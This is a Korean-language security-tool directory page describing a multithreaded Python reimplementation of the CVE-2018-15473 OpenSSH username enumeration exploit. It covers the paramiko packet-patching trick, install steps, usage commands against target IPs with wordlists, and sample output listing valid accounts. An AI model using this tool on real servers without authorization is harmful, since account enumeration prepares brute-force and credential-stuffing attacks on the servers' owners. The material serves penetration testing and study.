Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/k3rn3l-32/threaded-cve-2018-15473
ReconnaissanceVulnerability AnalysisExploitationInformation GatheringPenetration TestingLearning & Education
GitHubk3rn3l-32/threaded-cve-2018-15473

Threaded-CVE-2018-15473

고전적인 CVE-2018-15473 OpenSSH 사용자 열거 익스플로잇의 Python 3 재구현으로, 멀티스레딩, 단어 목록 지원, 자동 취약점 탐지, 스레드 안전 익스플로잇 패칭 기능이 확장되었습니다.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
Threaded-CVE-2018-15473 — 고전적인 CVE-2018-15473 OpenSSH 사용자 열거 익스플로잇의 Python 3 재구현으로, 멀티스레딩, 단어 목록 지원, 자동 취약점 탐지, 스레드 안전 익스플로잇 패칭 기능이 확장되었습니다. | Kitploit
저장소 보기
24개월 전아직 검토되지 않음

CVE-2018-15473 — SSH 사용자 이름 열거 도구

고전적인 CVE-2018-15473 OpenSSH 사용자 열거 익스플로잇을 Python 3로 재구현하고, 멀티스레딩, 워드리스트 지원, 자동 취약점 탐지 및 스레드 안전 익스플로잇 패치를 추가로 확장했습니다.


목차

  • 취약점 정보
  • 익스플로잇 작동 방식
  • 기능
  • 요구 사항
  • 설치
  • 사용법
  • 예제
  • 크레딧 및 원본 연구
  • 면책 조항

취약점 정보

CVE-2018-15473은 OpenSSH 버전 2.3부터 7.7까지 영향을 미치는 사용자 열거 취약점입니다.

이 취약점은 유효한 사용자 이름과 유효하지 않은 사용자 이름에 대한 인증 시도에 OpenSSH 서버가 응답하는 방식의 미묘한 차이에서 비롯됩니다. 공격자는 변조된 공개 키 인증 패킷을 구성하여 서버의 동작을 관찰하고, 사용자의 비밀번호를 알 필요 없이 주어진 사용자 이름이 시스템에 존재하는지 여부를 확인할 수 있습니다.

이 정보는 표적 무차별 대입 공격 또는 자격 증명 스터핑 공격의 중요한 첫 단계가 될 수 있습니다.

세부정보값
CVE IDCVE-2018-15473
영향을 받는 버전OpenSSH 2.3 – 7.7
CVSS 점수5.3 (중간)
유형정보 노출 / 사용자 열거
인증 필요아니요

익스플로잇 작동 방식

OpenSSH의 인증 흐름은 일반적으로 다음과 같이 작동합니다.

root@kitploit:~
클라이언트 → MSG_SERVICE_REQUEST  → 서버
클라이언트 ← MSG_SERVICE_ACCEPT   ← 서버
클라이언트 → MSG_USERAUTH_REQUEST → 서버
클라이언트 ← MSG_USERAUTH_FAILURE 또는 MSG_USERAUTH_SUCCESS ← 서버

익스플로잇은 MSG_SERVICE_ACCEPT 단계를 악용합니다. 서버가 MSG_SERVICE_ACCEPT를 다시 보낼 때, 클라이언트는 이후의 MSG_USERAUTH_REQUEST 패킷에 부울 필드를 추가해야 합니다. paramiko의 Message.add_boolean 메서드를 아무 작업도 하지 않도록 패치하여, 도구는 변조된/잘린 인증 패킷을 전송합니다.

그러면 OpenSSH 서버는 사용자 이름이 존재하는지 여부에 따라 다르게 동작합니다.

  • 유효하지 않은 사용자 이름 → 서버가 즉시 MSG_USERAUTH_FAILURE로 거부합니다 (사용자 이름이 존재하지 않으므로 키를 확인할 필요가 없음)
  • 유효한 사용자 이름 → 서버가 AuthenticationException을 발생시킵니다 (키를 확인하려고 시도하여 사용자가 존재함을 확인함)

이 도구는 패치된 paramiko 핸들러(_parse_userauth_failure 및 _parse_service_accept)를 통해 이 두 응답을 가로채서 각 사용자 이름을 적절히 분류합니다.

스레드 안전성 수정

원본 PoC는 add_boolean을 영구적으로 패치하여 여러 스레드가 동시에 실행될 때 경쟁 조건이 발생합니다. 스레드가 서로의 핸드셰이크를 방해하여 SSH negotiation failed 오류가 잘못 발생합니다. 이 재구현은 패치를 threading.Lock()으로 감싸서 교체를 원자적으로 만듭니다.

root@kitploit:~
with _patch_lock:
    real_add_boolean = paramiko.message.Message.add_boolean
    paramiko.message.Message.add_boolean = _add_boolean_noop
    try:
        result = original_service_accept(auth_handler, m)
    finally:
        paramiko.message.Message.add_boolean = real_add_boolean

기능

  • 단일 사용자 이름 확인 — 빠른 원샷 모드
  • 워드리스트 모드 — 전체 사용자 이름 목록 열거
  • 멀티스레드 — 구성 가능한 스레드 수, 모두 스레드 안전
  • 자동 취약점 탐지 — 스캔 전에 nmap을 사용하여 대상이 취약한 OpenSSH 버전을 실행 중인지 확인
  • 중복 제거 — 워드리스트에서 사용자 이름 중복을 자동으로 제거
  • 깔끔한 출력 — 색상으로 구분된 결과 및 요약 보고서

요구 사항

  • Python 3.8+
  • paramiko
  • python-nmap
  • nmap (시스템 바이너리, 설치 필요)

설치

root@kitploit:~
git clone https://github.com/K3rn3l-32/Threaded-CVE-2018-15473.git
cd CVE-2018-15473

# Create and activate a virtual environment (recommended)
python3 -m venv venv
source venv/bin/activate

# Install dependencies
pip install paramiko python-nmap

시스템에 nmap이 설치되어 있는지 확인하세요:

root@kitploit:~
# Debian/Ubuntu/Kali
sudo apt install nmap

사용법

root@kitploit:~
usage: main.py [-h] [-p PORT] [-t THREADS] (-u USERNAME | -U WORDLIST) target

positional arguments:
  target                Target IP address

options:
  -h, --help            show this help message and exit
  -p, --port PORT       SSH port (default: 22)
  -t, --threads THREADS Threads for wordlist mode (default: 3)
  -u USERNAME           Single username to check
  -U WORDLIST           Path to wordlist file

예제

단일 사용자 이름 확인:

root@kitploit:~
python main.py 192.168.1.10 -u root

기본 스레드로 워드리스트 열거:

root@kitploit:~
python main.py 192.168.1.10 -U /usr/share/wordlists/users.txt

사용자 정의 스레드 수와 포트로 열거:

root@kitploit:~
python main.py 192.168.1.10 -U users.txt -t 10 -p 2222

샘플 출력:

root@kitploit:~
[*] Scanning 192.168.56.109:22 ...
[*] Target running OpenSSH version: 4.7
[+] Target is VULNERABLE to CVE-2018-15473

[*] Loaded   : 12 usernames (0 duplicate(s) removed → 12 unique)
[*] Target   : 192.168.56.109:22
[*] Threads  : 10

  [+] root     <- VALID
  [+] service  <- VALID
  [-] guest
  [-] admin
  ...

─────────────────────────────────────────────
[*] Scan complete in 3.87s
[*] Checked  : 12 usernames
[*] Threads  : 10

[+] Valid    (2)  : ['root', 'service']
[-] Invalid  (8)
[!] Errors   (2)  : ['postgres', 'temp']

크레딧 및 원본 연구

이 도구는 원본 개념 증명 익스플로잇의 Python 3 재구현 및 확장입니다. 이 취약점을 발견하고 문서화한 공로는 전적으로 원본 연구자들에게 있습니다.

역할이름 / 핸들

원본 익스플로잇: https://leapsecurity.io

이 재구현은 다음을 추가합니다:

  • Python 3 호환성 (원본은 Python 2)
  • 스레드 안전 익스플로잇 패치 (경쟁 조건 수정)
  • 멀티스레딩을 통한 워드리스트 모드
  • nmap 기반 자동 취약점 탐지
  • 구조화된 결과 보고

면책 조항

이 도구는 교육 목적 및 승인된 침투 테스트 전용으로 제작되었습니다.
소유하지 않거나 명시적인 서면 허가 없이 시스템에 대해 이 도구를 사용하는 것은 불법이며 비윤리적입니다.
작성자는 이 소프트웨어의 오용에 대해 어떠한 책임도 지지 않습니다.
항상 책임 있는 공개를 실천하십시오.

도구 다운로드
원본 PoC 작성자Leap Security (@LeapSecurity)
취약점 연구Matthew Daley
취약점 연구Justin Gardner
취약점 연구Lee David Painter